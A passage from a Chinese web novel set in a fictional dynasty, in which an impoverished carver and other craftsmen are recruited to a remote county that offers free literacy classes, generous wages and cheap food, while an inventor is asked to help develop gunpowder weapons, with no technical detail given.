“且我等还可以让这些匠人也多方注意那风仙县,日后等他们回来时,只要是有新发现的,我们便花钱奖赏即可。” “这么一来,这些匠人可都算作咱们的眼线了啊!” 几人沉浸在想象中无法自拔,倒是无一人有考虑过一个问题。 ——若是这些匠人不愿意回来了又该如何?或者更极端的情况下,这些匠人若是找机会还要游说带走其余人,那日后元城的人口岂不是要往外流了? 这问题不在他们的考虑中,毕竟在他们看来,黎州最为繁华之地便是元城,不会有人会傻到愿意放弃在元城的生活,转而去一名不见经传的荒凉小县城。 且这风仙县还在明州边境,可谓是最偏僻的小地方。 俗话说得好,由奢入俭难啊,这些匠人是从元城前往风仙县那样的苦寒之地,想来也只是为了赚钱而已,若是元城有工作机会的话,这群人自然会义无反顾的再次回到元城! 被风仙县撬走?还要游说家人前往? 这担忧真蠢,压根就不存在这种可能性! 第216章 报名 自收到使者传回来的回信后,保皇派的几人先下发张贴新的帖子,大概意思便是表示朝廷需招收匠人,至于薪资,没提,具体目的地也没说,主打一个信息告知的越少,日后越不容易让自己处于被动中。 毕竟要是哪天这风仙县有何异动,或者是这些匠人在风仙县意外身死,那可就算不得他们的过错。 ——毕竟张贴的帖子上什么都没写,如何能怪他们? 要怪就怪自己运道不行。 刚将帖子张贴下去,元城不少人便注意到了。 原先时候,大炎朝最是繁华之际,元城作为最繁华的中心,当初有多少新贵要起建房产,又有多少人要维修装点门面? 当初的匠人们根本不愁工作,甚至技术好的订单都得排到好几个月后去了。 当初的盛况到如今自然是不复存在。 自大炎朝一步步衰退,新皇登基后,天下三分,战乱,灾祸,别说还有人愿意花大价钱去让匠人做活计了,他们能从这样萎靡的市场中抢到几单就已经算很不错了。 甚至不少人没办法,竟然也是干起了苦力。 眼下萧条已有三年,这匠人能做的活计可谓是越来越少,毕竟大环境不好的情况下,百姓们只会凑合过日子,买新的?不存在的,除非是到了切实需要更换买新才会考虑。 普通百姓自是如此,那高门大户虽说奢靡,但最近几年也是行事收敛了几分,门脸修缮得还算勤快,但宅子内的修缮活计可谓是放松了许多。 原先是每个季度都要维护,现在不仅间隔时间长了,维护的人少了,内容多了,工钱也低了。 但就算这样,这活计还得靠抢。 那些高门大户的管家们挨个挑得仔细——得要价格最便宜的,手艺最好的,干活最麻利的老实人! 这倒不是主人家要这么挑,而是管家们的意图。 毕竟匠人们少拿一些,那些多余的盈利便能被贪下来。 有时候活计少了,甚至为了求着接单,他们还要忍受管家的索要回扣一说。 起初众人自然是不愿意,但架不住你不给,有的是人给,最后实在是没办法,只能睁一只眼闭一只眼,咬牙将本就不多的工钱再分出去一部分。 这在最近几年有个说法,叫做“留门”。 万惠便是其万千受害者之一,他学的手艺是雕花,以往那些大户家里精细活计的雕刻工作,几乎都是他完成的。 此人擅长雕刻各种复杂细节,且为人老实,手艺活细致,原先靠着自己的手艺老老实实做工,生活过得还算是不错。 但随着世道混乱,整体市场萎靡不振后,他因为拒绝了几次那些所谓的“留门”,倒是更加没人找他工作了。 其实万惠不懂。 他这手艺是祖上传下来的,他以往总觉得自己报价合理,做活踏踏实实便可,虽说也有匠人比他报价便宜,但万惠可以拍着胸脯保证,那便宜的没有他手艺好,贵的不如他老老实实,不磨工时。 无论怎么看,万惠都想不到自己会有彻底靠手艺吃不上饭的时候。 小时候跟着学手艺时,他爹曾说过,这手艺学会了,一辈子饿不死人,但现在看着家中妻子和两个嗷嗷待哺的孩子,他头一次对他爹的话产生了怀疑。 ——万惠没上过学,不曾读书认字,但却本能地觉得不对。 到底是怎么一步步走到眼下这一步的? 为了养活家里,万惠已经降低了报价,又主动前去那些大户家试图推销自己,但无一例外的是都失败了。 日子没一点盼头,但人要活着就要吃饭。 无奈之下,他被迫去干苦力活,和许多人挤在苦力市场,每当有买主进来时,他便会跟着人群冲上去推销自己。 想赚钱的人很多,但买家有限,每次为了争夺可能的零工,万惠都会踮起脚,仰着脖子,红着脸,试图让对方能够第一眼看到自己。 他有时候觉得自己就像是原先他娘喂的鹅一般伸长了脖子,就为最先吃到那鹅食。 有时候运气不错了,能接点活计,有时候运气不行了,他便灰溜溜回家。 他的妻子万氏人很瘦,似乎轻轻一折便会折断的那种,这说起来是原先生产时落下的病根,但因家中状况,近期万氏会偷偷和邻居家的女人们一起,前去劳工多的地方缝补衣裳,好贴补家用。 这日子说实话,万惠不知道自己是怎么熬下来的。 去年大旱,粮价暴涨,他数日没有活可做,家中的存钱也算是花得快要见底。 握着手心里仅有的几枚铜钱,万惠在药房犹豫许久,好几次想开口,让那人给自己拿一副砒霜。 ——活着太累了,今日不被毒死,往日也会被饿死,粮价已经高到了他想破脑袋都想不到的境界,而元城内也无施粥救济之处。 想来也是,粮食价格如此高,这些人想赚钱都来不及,又如何会施舍救命? 万惠擦了擦眼睛,干旱让他早就没了眼泪,但此刻却擦出了几分湿意 买一副砒霜,回去全家人整整齐齐上路便是,日后黄泉路上,他们一家还能互相照应。 万惠不是会随便放弃的人,但眼下这世道对于他这样的普通人来说,和炼狱没有区别。 元城没有活计,别的地方也不会有。 有人会说去别的区域试试?更是无稽之谈。 他家贫,没有骡子马匹,路上就算运气好没被流寇劫持,被饿极了的人吃掉,也会被活活累死,饿死。 环顾四周,竟无一能活下来的道路。 万惠怔住,总算是下定了决心。 这会人都到了那药方门槛,却听屋外轰隆一声巨响——下雨了! 整整干旱了数月的天终于下雨了! 他顾不得买砒霜,转身跑到街道上。 街道钻出来许多人,和他一样,各个仰头看天,看那乌云迅速笼聚,暴雨倾盆如注,且更令人惊奇的是,那云层间竟若隐若现显露出来两个字。 “将定”。 当然,他不认识字,是从周围人嘴里听到的。 只两个字,他却楞在原地,久久不能回神 将定?何时?又为何而定? 他快步跑回了家,回到家时已经淋得和落汤鸡一般,这会却小心翼翼从衣服内掏出刚才的几枚铜钱,将它郑重地放在家中的存钱的罐子内。 妻子还在家中和孩子说话,万惠突然就不想死了。 都下雨了,再坚持一下,坚持一下熬过来 等到晚上时,万惠去江边捞鱼,现在河道干涸,不曾有活物,现在一场雨过后,这河道竟然又涨了起来,看来这雨下得甚大。 这会他下水,用自制的笼子逮鱼,居然还真被他逮到了几条手指般大小的银鱼儿,这会欣喜地带回家,一家人各自喝了一碗鱼汤,熬了过去。 等旱情缓解后,不知道是因为何种缘故,朝廷竟然开始施粥了。 等他和妻子,孩子领到那粥后,边听其余人交头接耳,说是因为昨日天降神迹,那“将定”二字寓意着天下即将太平,于是此日施粥。 其余人还在说些什么,万惠只顾着将淅淅沥沥的粥分给妻子和两个孩子,却被妻子扣住手,推了回去。 万惠心中又涩又疼,这会背着妻子将粥倒进嘴里。 天无绝人之路,日后他们就这样靠着偶尔的施粥,去河里捞鱼,或者运气好去接活计活了下来。 直到万惠看到朝廷新张贴出来的红布告示。 因他不识字,这会在前面和其余看热闹的人徘徊好一阵子,这才等到有识字的人指着这帖子惊诧道。 “诶!这上面所写,但凡是匠人者,朝廷说是有活计可以做!” 万惠还在伸长脖子试图看帖子,这会听到这话后脑袋空白,又死死盯着念帖子的人,看他表情不像是开玩笑,这会又急切地希望对方赶紧再说些什么,譬如去哪儿报道,如何能去成。 要知道,这三年他几乎要忘光了自己还是个手艺人。 自然有人处境和万惠差不了太多,又忙询问:“兄弟,这去哪儿能获取这活计?且这做活的地方在哪里?” 看帖子的人又迅速看了几眼,好奇开口。 “报名地方在官府,但奇怪这上面没说要去哪里做活。” 一时间众人难免思索纷纷 这有些古怪,为何不写清楚到底需要何种匠人,需要做的活计如何,这般模棱两可,会不会有危险,比如是个陷阱什么的? 众人看完热闹倒是散开,这帖子吸引过去的人不少。 万惠倒是下定决心前去报名,等回家和妻子商量一番后,他将自己收拾干净,换上自己仅有的一身好衣服,想着今日要给对方留下个好印象,毕竟他实在是太需要这份匠人工作了! 而等他出门时,吴匠人好奇看他,又调侃道。 “哎呦万惠,今日穿得这般周正,去哪儿啊?不会是打算去官府那报名吧?” 万惠微蹙眉,吴匠人是他老邻居,此人手艺没他好,但还算可以,以往两人都是手艺人的时候,吴匠人就喜欢和他比来比去,但那个时候,万惠可谓是在收入方面吊打他,所以当初吴匠人很是蔫吧,也不怎么折腾。 也就这三年他们这一行都没落了,那股嘴碎惹人嫌的劲儿就上来了。 要么冷嘲热讽,要么便是暗戳戳地炫耀他现在的生活。 话说回来,吴匠人因为处事圆滑,虽说当匠人也没活计,但他又找了新的活计,收入勉强看得过去,反正肯定要比万惠强。 好容易比过万惠一次了,吴匠人自然这三年来没少炫耀自己,打压万惠。 万惠沉默了。 本想转头就走,吴匠人来了劲。 “万惠,你可得想好了,那报名依我看定是假的,不然为何官府不敢将那活计标明?我猜这活计定是过不了明路,或者有危险,你要是一个人就算了,拼命就拼命了,现在你可是有家要养,小心去了回不来啊!” 看似好心提醒,实则是想看万惠纠结犹豫挣扎。 第217章 真假 说实话,万惠也担心过。 但家里实在是太缺钱了,现在天热了活计还算多,若是日后等到天冷的时候,那才是叫天天不应,叫地地不灵。 且他来之前也和妻子打过招呼,两人商量一番后这才决定前去官府报名。 所以即便现在吴匠人百般影响他,他也没耽误时间,而是转身就走。 眼看那万惠一溜烟跑得没影,吴匠人的妻子在屋里头骂他。 “心别总是操到别人身上,自己家的活干完了没?” 他妻子家里条件还算可以,又是家里唯一的女孩,上头还有三个哥哥,他还真不敢和妻子硬碰硬,这会忙敷衍走进家门。 “哎,哪能呢!来了来了!” 这会倒也将心思放到自家,不再考虑万惠那厮,只等着他回来再看情况。 万惠此刻快步走向官府报名处,等他到达时,发现来的人可比他想象中的多了不少。 这会难免心生不安——这么多人,还能不能轮到他了? 再仔细看过去,发现这群人中竟然有不少打过几次照面,共同合作过的匠人。 万惠稍微和这些人互相打了个招呼,便缩到一旁乖乖等着报名,偶尔竖着耳朵能听到这些人正在大吐苦水。 大都是说着这些年的不容易。 万惠看了几眼,发现其中一些人手头技术不比他差,却也有两三年没干过正经活计了。 等到他们等了有一个时辰,那官府的人才姗姗来迟。 这会众人早就被毒辣的日头晒得皮肤发烫,却无人敢有怨言,各个乖乖听着那人说话。 万惠摸了一把脑门上的汗,水滴子直往下淌。 又仰着头,眯起眼睛,想看清楚那人。 就这听了一小会的功夫,他的汗便淌到了眼睛里,涩得他直眨眼睛。 而在听到官府之人说的干活的地方在明州境内的县域时,不少人有些打退堂鼓。 ——明州,这地方也太远了! 虽说万惠没出过远门,但他也知晓外面危险得很,且最要紧的是他也没有骡子马匹。 那官府之人在看到众人略带失望的眼神后,这会倒是冷哼一声,慢悠悠道:“知道你等害怕,嫌弃路途遥远,路上危险,现如今圣上开恩,只要报了名,便可坐着马车前去,且还有官府亲自护送。 想想看,这路上有人护送,还有马车,这活计可是不好找啊! 话就说到这里,你们先思量一番,若是同意了,便过来签字画押,后日一早就出发。” 这人没说废话,简单说了两句后便离开了。 万惠犹豫片刻,脑内妻子和孩子的脸庞不断地飞出来。 这会一咬牙,一狠心,在众人还不曾反应过来时,他忙跟上刚才那人身后,要去报名。 说实话,负责招收的官府这人心里也有些发毛。 别说他是说得一副他们爱去不去的样子,但实际上,他作为执行方,上头给的任务便是必须至少要有两百人前往明州风仙县,若是他连两百人都招收不到,之后便有他好果子吃。 尤其是看这群匠人均是一副畏畏缩缩的模样,他其实心里也在七上八下 这,看着不像是有胆量足的人啊! 等万惠跟在他身后喊着要报名时,此人面色忍不住一喜。 ——好小子!不错!竟敢第一个报名!要知道只要有第一个人,很快便会鼓舞人心,赢得更多人前来! 这会自然是对万惠很是满意,还特意问了一番他的名字。 “回大人,小人名为万惠。” 万惠瑟缩着报上名字,这人倒是笑了。 “不错的名字。记住了。” 他拿出登记本让万惠先签字,而后画押,之后又给他的名字额外勾了一笔,这意思便是让同僚路上照顾一番此人。 毕竟万惠也算是解了自己的难。 等到有了第一人,之后确实如同他所料,报名人数逐渐往上攀爬,直到招够了两百人。 时间还有,想来算上明日,最后能去的人估计得有个三四百人。 这会此人难免轻松,又在看到匠人们略带不安和期待的眼神微微不太自然。 ——虽说上头的人没说去那明州是做何活计,但总归瞒得这么严实,能有好事? 思来想去,此人倒是想到了一个可能性。 难道是让匠人们前去修陵墓?但小皇帝年纪尚小,这修陵墓的时间是不是太早了点? 话说若是这活计的话,倒是能解释为何神神秘秘的了。 这会此人倒是难免生出几分不忍 若真是修陵墓的话,这些人可算是有去无回了。 要知道历来为了避免被盗墓,这些匠人最后都会被封锁在墓内。 但很快此人又想方设法开解自己。 不碍事,若是他们去了知晓修陵墓的话,好歹建造时知道要给自己留个能逃走的孔道才是。 时间很快便来到出发那日。 最后一共有三百四十人,这会朝廷特意派了马车送这些人前去。 不过因为人数众多,所以基本上毫无舒适度可言,一个能容纳二十人的马车车厢,硬生生的赛进去快四十人,只给开两扇窗户透气。 这种马车便是最普通的车厢,一个长方块,里面赛了点干草充当坐垫。 人挤在里面很是憋屈。 但众人此刻也没什么可不满的,毕竟这不需要走路,还有官兵护送,已经是相当好的待遇了! 而其中仅有的一辆带着简易座位的6座马车,万惠则是被安排到了其中。 和他同坐的是负责运输他们的另一个官兵,以及轮换的马夫。 官兵们则是在外骑马警戒,车厢里只有三人,一时半会,万惠有些受宠若惊。 他还不知道为何自己会被额外安排在这马车上,他刚才也看了一眼,这马车和那40人的马车比起来,简直不要太奢侈。 眼看其余两人没有搭理自己的意思,万惠乖乖闭嘴,安静而又沉默的当个透明人。 队伍一路走走停停,总算是到达了风仙县。 路上运气不错,他们并没碰上流寇,或许也是因为这里面都装的是人的缘故,流寇想来也不想白抢一次。 等到带人带人到了风仙县的城门口后,那里面有人过来迎接他们。 那些官兵被额外带走,而他们则也是被分开带走。 方知意在知道朝廷给自己送来了三百四十个匠人后,难免一愣,而后又唇角带笑。 ——匠人好啊,比钱还要有用,看来武器批量制作能顺利进行下去了。 毕竟流民的质量可比不上黎州元城以手艺为生的匠人,这些人若是利用好了,对风仙县来说可谓是大有用处。 且最重要的是,日后这些匠人定会愿意留在本地,同时自发写信让亲友前来本县定居。 至于如何安顿这些匠人,首先自然需要隔离一天,而后便是立马进入扫盲班学习,等到扫盲结束,在分类后,便可以用上了。 朝廷前来送人的那些官兵,方知意特意命人给他们准备了简朴的饭菜,以及特意为这些人准备的老房子。 ——没有马桶,没有沐浴喷头,也不通地暖,也没有沼气灯,燃气灶,主打一个和原先尚未改进前无异。 毕竟这些人还要回去复命,日后想来还会有好几批匠人被送来,再加上暂时她还不想自爆底牌,自然是瞒着最为合适。 等到黎州官兵吃着淡了吧唧的饭菜,又睡着硬邦邦的床铺时,各个难免叹气。 这地也实在是太没油水了! 怪不得刚才宴席上他们怎么给那负责接应之人使眼色,对方均像是没看到一样无视了他们。 合着不是没看懂,纯粹是没得给啊!忒操蛋,日后这护送活计谁爱来谁来吧,他们可再也不来了! 负责接应的风仙县官员:不好意思,习惯了。本县一律不搞这些舞弊让利之事。 而此刻,将人们则是被带入房间内,纷纷隔离开来。 众人起初还有些害怕,但等听到这风仙县的官兵开口解释只是看是否带有传染疾病时,众人脸色好了一些。 尤其是到吃饭时间,对方抬着两桶饭菜过来时,这会众人眼睛亮得和放光一样。 要知道他们基本上一路都没怎么好好吃过了。 朝廷给的饭菜是最拉嗓子的粮食,吃一口不喝水都能噎死的那种,就干吃,也没有配菜一说。 但眼下看这风仙县不太一样啊。 光是闻着这扑鼻的香味,众人只觉得口中不自觉分泌出口水,各个望眼欲穿。 万惠也抬头去看那桶内到底是何物,不过因为人不少,他没能看清楚,只看到一闪而过的青白色。 本以为还要抢饭吃,结果倒是还好,排队发放。 等看到分到他手上的一从未见过的褐色之物和一碗炖煮着白色之物的汤菜后,万惠有些好奇这两样东西到底何味。 一口吃进肚中,顿时瞪眼,不敢置信看着手中这物。 只见它内部橙黄,吃起来香软绵密,甜得像是在里面放了一大勺糖浆。 周围传来此起彼伏的惊叹声,各个惊呼不已。 “这物到底为何物?怎会如此香甜?” “这白生生的又是何物?一口下去,煮得软烂入味,滋味太过于美妙啊!” “别管是啥了,能吃不就行了!吸溜——好吃就行——吸溜——你们不爱吃给我!” 眼看此人要将筷子放在同僚碗里,其余人忙避开。 “去去去——你吃完了,我吃啥?我还没吃饱呢!” 周围乱哄哄的,万惠则是安静进食,默默享用美食。 他都记不得自己多久没吃到这般好吃的东西了。 满口油脂,入口让他回味无穷。 等到隔离结束,这些人和万惠一样,竟然有些舍不得那饭菜。 毕竟想来也只有第一顿能这么痛快的给他们吃吧,日后恐怕吃不到这般饱,这般好吃的饭菜了! 等到众人收拾收拾被官兵送到扫盲班时,还有些迷惑。 “这难不成是让咱们过来修缮学堂的?” “或者是打些桌椅板凳?” “怎么可能,这大老远让我们来,定是要做些难度高的东西,比如摆件,雕刻什么的。” “此话言之有理啊,嘘——别说话了,有人来了!” 众人立马噤声,万惠也抬头去看那人,只见此人一副儒雅模样,看着就像是教书育人的夫子。 “各位都到了?先坐下吧,我们上第一节课。” 这话像是炸弹一般在众人间炸开,此后便是良久的沉默。 万惠还在愣神——什么情况,这也没人告诉他们来了要识字啊! 他有些紧张,他这么笨的人,能学会识字?听人说,那会识字的人得是老爷,少爷,各个聪慧,可不是他这样的人能比得上的。 脑内胡思乱想之际,倒听台上那人慢慢解释清楚了他们的疑惑。 等到众人知晓这风仙县居然人人都需要上这扫盲班时,难免各个瞪大眼。 ——啥?这里疯啦!每个人都让读书认字!还不要钱!这这这,他们做梦也不敢这么做啊! 众人被这消息冲击得大脑一片空白,这会呆愣愣的互相对视几眼,又被那夫子讲的课吸引了注意力。 诶,这挺有意思啊!学会拼音,别的汉字便都认得了?! 乘法表得学,毕竟听夫子说日后工钱要自己算,日常买卖也能用得上! 卫生科普稀奇古怪的词语,但夫子说了,不按照规矩来,出了事要被送进牢房问责,得牢记! 一时半会,众人倒是学得津津有味。 而万惠则是脑内清明——他发现自己好像并没有他想得那么笨,讲的东西他都能听懂啊! 等得知此地需先考出扫盲证后才能工作,众人难免觉得稀奇。 但同时又觉得既然是免费教识字,他们可得赶紧学会了才是,日后若是从这风仙县回家去,学了认字也不亏! 这会各个学习劲头甚猛。 尤其是听那夫子说本县最低工资为日薪一百文,细盐价格为两文一斤时,原先还想着此地会不会像是传说中说的那般苦寒的众人:???不是,这对吗?最低日薪一百文? 那我们以前每天累死累活在元城拿到的那点铜钱算啥??? 算我们做慈善啊! 还不等来得及细细琢磨,又被对方接下来的话彻底震撼。 “本县工资计算的话,一般采取基础工资加计件效益,差不多像一个成熟的匠人,每天三五百文都算是正常收入。” 众匠人已经是彻底呆愣:???三五百文?你们管这叫正常收入?不是,到底是谁不正常啊! 本以为元城是最为繁华之地,所以他们才久久不曾出来,生怕离开了元城,无遮雨之地,结果现在出门了一看,合着外面根本就没下雨??? 第218章 速来 从元城来的匠人还在愣神。 ——啥玩意?每天能赚这么多?三五百文? 这和做梦有什么区别? 还不等细细思索,在听到夫子所说,每日最多工作4个时辰,也就是八个小时,超过这个时间限制再继续做工的话,需要发放加班工资,大概是平日工钱的1.5倍。 若是赶上像是中秋,过年的这段时间,一般是放假,若是不放假需要赶工的话,大约是日常的工钱的三倍。 且若是能进入本县的各个工厂,便均能获得更好的员工待遇,譬如福利内购,佳节福利等等。 听到这里时,说实话,万惠觉得自己和在梦里飘一样。 这这这加班工资?节假日三倍工资?福利待遇?他以前听都没听过啊! 最多就是往年最好的时候,主家给了点赏钱算作过节,那算下来也没有这些所谓的加班多。 而且,话说这些政策,是真实存在的么? 万惠理解不能,甚至一时半会,竟然生出一抹恐惧。 此处待遇这般好,是不是所需要做的活很危险?不然不该给他们这么高的工钱才是。 本以为这地收入高,那相对应的花费也高,但看夫子所讲,此地物价反而要比元城那边便宜多了。 最直观的便在于衣食住行方面,除了买住所不太便宜外,别的相比于别的地方,简直是好得没话说。 在此地若是手头紧张,可以去吃最便宜的番薯——就是先前他觉得甜得和放了糖一样的那物。 除却番薯外,还可去买豆腐,豆腐主要是让人更有精力,用夫子的话来说便是补足人体所需的必要营养,且价格便宜,两文钱一块。 先前他们在隔离点吃到的东西,便是这两物。 万惠突然松了口气,原先他以为那顿饭可能是之后吃得最好的一顿了,结果现在看来并非如此,这便说明此县并非是为了安抚人心才让人吃一顿最好的,而是此县本就富足,足以让他们刚落脚时能够吃到免费的饭菜。 且值得一提的是,在扫盲班学习期间,不仅饭菜住宿全免,而且油水给得足,连续上了有一星期的课,万惠只觉得惶恐。 ——这对他们也太好了!哪里有来了这么久,不干活总是这么轻松,天天只是吃饭学习的? 这几日因为心神放松,吃得又有油水,他甚至还比刚来时稍微看上去胖了点,精气神也好了许多。 其余人皆是如此。 日子越长,万惠就越是心里不平静,等到再过三日便是那考核之日。 当天,万惠紧张得手抖,虽说他有好好学,但毕竟还是人生中的第一次考试,自然紧张得直打摆子。 但等看到熟悉的题目,他又放松了。 直到考完试,顺利拿到那扫盲毕业证后,捏着红皮子的证书,万惠只觉得不真实。 这这便考完了?他原来也能这么顺利通过?说明他并非像自己想的那般愚笨 这三百四十人中,大概有四十多人没能考过,被留下来进行二次教育。 其余人,包括万惠则是都被带走,开始按照手艺类型,对这三百余人进行分配。 话说先前来了风仙县打探消息的二凤早就扫盲班毕业。 她没初六哥毕业得早,但也不慢,等到拿到证书,顺利应聘上了一客栈的洒扫工。 工钱据说是此县的最低工钱,日薪一百文,但对于二凤来言,此活计已经算很不错了。 且这活计也是每日工作4个时辰,包吃包住,倒是省了不少心。 且最为重要的是,掌柜心善,允许她到时候带着弟妹过来同住一间屋子里,这对二凤来说,可是解了燃眉之急。 除了找工作以外,她这段时间没闲着,四处在风仙县溜达,想看看这风仙县内部到底如何,关于工作待遇,消费等等。 等确定此地的确如同那些赞美仙人的戏曲中所写,是个想都想不到的桃源之地时,她立即写信告知还在梁县等待她消息的张老一行人。 为了更快的将消息送到,她从掌柜那里先提前取了两日工钱,特意多花了钱,选择了最快时效的信件传送。 驿站告诉她,今日发出,大概后日清晨对方便能收到信件了。 这相较于普通方式多花了一百文,但快了足足三天。 二凤在心里算过账,三天——若是长老一行人能越早过来,获得的收益可远比多花的一百文多太多了。 这会自然是选择高效率。 回信确实如同驿站所说,在后日清晨时,准时送达张老手中。 梁县。 虽说梁县允许流民进城,但进了城后,确实也是不景气,没什么活能做,且最重要的是,官府不作为,别说他们想种地,就算是想上山下水,摘野果,摸野鱼,那也是不能明面来的。 毕竟在梁县看来,这些野物可都是他们梁县人的,外来人一来,自然要分薄了他们的食物来源。 话说梁县此地,不属于陈京行旗下,从大类上来说,属于原先的义师军占领过的地区。 但随着义师军的落败,祝应等人还未曾扩张至此,倒是让它显得不伦不类。 先前梁县县令早就被义师军杀死,属于无县令管理状态,治安乱得没眼看。 后来也是有一批本县的乡绅联合起来,总算是选取了一个暂时管事的人站出来。 此人走的是中庸之道,起初自然也是不同意流民进入本县,要知道流民走到哪,哪里就充满不安和潜在的疾病。 但没办法,梁县的城墙破了好几处,维修所需实在是花费人力物力,这人也不够用啊。 一时间没了办法,只能适当接纳一些流民,给管一顿饭,让流民负责修缮城墙的活计。 张老一行人来了后,大部分时候干的便是修缮城墙的活计。 每日要做满6个时辰才能吃上一口饭,实在是辛苦。 那饭菜实在是简陋,属于勉强能吃的范畴,但考虑到眼下确实粮食太贵,梁县和别的县一对比,竟然还算好的了。 毕竟让他们进城,还给一口饭吃,这已经很好了,别的县都是紧闭城门,丝毫不给他们任何活路。 收到二凤回信时,张老还恍惚了一番。 二凤出去已有半个月,他差点以为这丫头是遭遇不测了。 基本上都放弃等她的希望时,倒是没想到竟然来信了。 等送信的驿站人一走,他展开信件,很快看了起来。 等看到其内所写后,张老惊得屏住呼吸,眼睛直勾勾盯着那信纸看。 ——这二凤所说可是真话? 信中第一句话所写便是他们没死,人在风仙县。 仅仅这一句话便让张老呼吸急促。 他儿子便是给那廖尚书做活的死士之一,虽说原先他就有心理准备,但真正知道儿子死了时,自然是悲痛欲绝,但又为了家中其余孩子,就算是痛也得挺着,起码他得活着看着孩子们立下门户才行啊! 等到被赶走,一路流离,心里想着的再苦再累,也得坚持,再坚持下去。 而现在看到这一行字时,张老明显呼吸急促。 继续往下看,看清二凤所写的风仙县时,不免瞪大双眼。 ——啥?这风仙县最低工钱都给到每天一百文了?!且每日只需工作4个时辰?多了还要给加班费? 话说,加加班费为何物? 张老不解,但张老瞳孔地震。 ——等等,这细盐两文钱一斤?一人若是在那风仙县内吃饱甚至花不到十文?那就算是最低工钱,那每日也能攒90文? 这还是扣除吃喝的,若是包吃包住的活计,那能攒的便更多了。 毕竟二凤说那里包吃包住的活计不少,只要踏实肯干,便能找到工作。 再往后翻,张老更是看得一愣一愣。 啥玩意,那地方免费给上学堂?二凤说她就是因为被强制性上学堂了,所以才会耽误许久。 但这话到张老的耳里简直和天方夜谭一样。 他小时候家境还算可以,家里花钱给他读了三年书,虽说没考上个一官半职,但好歹也学会了认字算数,后来当了个算账先生。 这学堂可不便宜啊,束脩费,节礼费,书本,笔墨纸砚,哪一样不得花钱? 当初他一年就要花费十三两银子,还不算吃饭住宿。 等后来家境不行后,家中无力托举他,这才遗憾退学了。 结果现在这学堂还免费,还强制性去读? 张老头一次觉得自己不认得字了。 但等细细看下去,发现了其中的些许差别。 二凤说的是扫盲班强制且免费,学堂的话,每年收费一两银子,全包。 扫扫盲班,这为何物? 张老觉得自己压根理解不了这特定的新奇词汇,这会看了又看,试图在脑内组合这几个词语。 思来想去,均是不得其要领,索性不再思索。 等看到每年学堂仅需花费一两银子便能全包后,张老还是屏住呼吸。 ——这点钱,和发善心有什么区别? 遥想过往,这点钱连束脩礼都不够,现在就能包揽所有花费了??? 张老沉默,张老觉得难以置信。 最后一句话是二凤的催促。 “速来,此地乃桃源之地。按字收费,不说了!” 之后便再也没了。 张老:也是,二凤不识字,这字一看就写得标准,是她请人代写的。 按字收费,话说少一点也合理。 这会又将这封信翻来覆去的看了好几遍,等到确定自己没有做梦,没有老花眼后,立马将其余人找了回来,打算直奔风仙县。 好在梁县不强求流民留下,他们离开的很顺利,等在路上赶路时,其余人早就听张老讲完了那风仙县。 从一开始知晓家人未死的狂喜,到后来对风仙县内的疑惑,再到最后来的向往期待,不过半个时辰。 第219章 罪人 风仙县。 先前提起制作火铳和震天雷后,方知意自是将此任务交给仇离。 仇离研究数日,脑内想到的人却是先前曾经合作过一次的段化。 段化先前和他共同研制了酒厂的制酒设备,而后他本以为对方会和自己一同接下方大人的委托,为风仙县研制沼气池时,倒是没想到对方竟然没有同意,反而是拒绝了方大人的招揽。 之后他忙于研制沼气池,又忙于宗门事务,《青梧引》,以及后期管理师弟师妹,颇为劳心费神,自然没想到段化。 但论起这火铳和震天雷后,他倒是想起原先段化此人似乎在家中研制的便像这书中所写——火药。 既对方早已经开始研究火药相关,若是有段化参与,想来此需要的武器会更快问世。 想明白其中利害关系后,仇离自然在询问方大人的意见后前往段化住所。 这住所还和先前一样,没什么太大变化。 除了屋内的地面又多了几处坑洼。 闻起来还有他最近经常闻到的硫磺味,想来是段化还在研究火药,只是不知道研究结果如何? 当时在段化拒绝接下沼气池的重任后,方知意倒是并没对此生出嫌隙,之后还让段化继续锻造望远镜,用于提升侦查配置。 毕竟方知意的方针便是不会轻易“得罪”任何一个天才,哪怕段化暂时不肯配合,但说不准日后就有能用到他的时候? 若把人得罪死了,日后若有想用之处,反而才是难搞。 当仇离上门拜访时,段化倒是惊奇。 虽说仇离接近一年不曾过来,但两个天才之间难免惺惺相惜,话说了几句,仇离便将自己来意说清楚。 起初段化是想拒绝的,这和他的为人之道不同。 他早就发了毒誓,不会再随随便便卷到任何一桩大事间。 仇离看对方如此模样,便知晓段化的抗拒之意,这会决定最后劝一劝他。 “段兄何故如此?你既然研究火药多载,眼下这机会多好。 一来可以继续深入研究自己感兴趣的,二来则是可以完成仙师所托,也算是在仙师面前立了名头,三来的话,方大人对于此任务给出的银两不少,足够段兄日后继续其他研究,分明是一箭三雕的事,为何段兄却不肯?” 仇离是真不明白。 若是以往他可能就不问了,但如今事关风仙县,事关仙师日后的布局,他就不得不尽力劝一番,毕竟段化此人或许在这方面比他还要精通。 若是二人能够联手,想来火铳和震天雷的问世时间会缩短许多。 听完仇离的话,段化难免眼神犹豫,但依旧闭目摇头。 “抱歉仇兄,此事我实在是难以委任,还请回吧。” 仇离倒是没再继续,只是让他再考虑考虑,毕竟眼下这情况,急需争分夺秒研究武器,若能让段化参与,速度起码提升一倍。 眼看仇离离去,段化几乎是踉跄着将门关闭,脑内闪现的却是过往被他刻意遗忘的记忆。 他原先并非是明州风仙县人,只是七年前逃难来到此地的。 他是幽州人士,原先家中条件还算不错。 父亲是本地出名的大夫,母亲是本地经商的商人。 家中一共有三个孩子,他是处于中间的那个孩子,上有哥哥,下有妹妹。 段家不同于其他人家对中间的孩子不关注,事实上他们家开明得很,三个孩子基本上都是公平对待,因父母教得好,段化记忆中他和哥哥妹妹几乎从未红过脸。 当时他哥自小就跟着他爹学习各种医术相关的书籍,且值得一提的是,他哥哥对此十分有天赋,几乎算是过目不忘,而他就要差一些,只喜欢捣鼓一些稀奇古怪的东西。 而最小的妹妹倒是随了母亲,喜欢拨弄算盘,喜欢跟着母亲出去查看自家铺子的盈利情况。 当时生活属实可以说很不错。 随着他年纪逐渐长大,段化倒是依旧沉迷于研究这些在外人看来是“奇淫技巧”的奇术。 他既没有哥哥优秀,可以足够继承爹的医术,同样也没有妹妹聪慧,精通于市场买卖。 当时就连他爹都叹息开口,说他日后最多也就做个三流的大夫。 他母亲倒是笑眯眯:“他喜欢做什么就去做,何故不让他去做呢?反正到时候有地皮,有铺子,难道还能饿死他不成?” 段化最喜欢和母亲亲近,因为母亲能理解他,她不会觉得自己的发明是无用的东西,反而次次听得认真。 当时段化最喜欢的便是听母亲笑着给他讲故事,讲鲁班,讲当年的奇术祖师们。 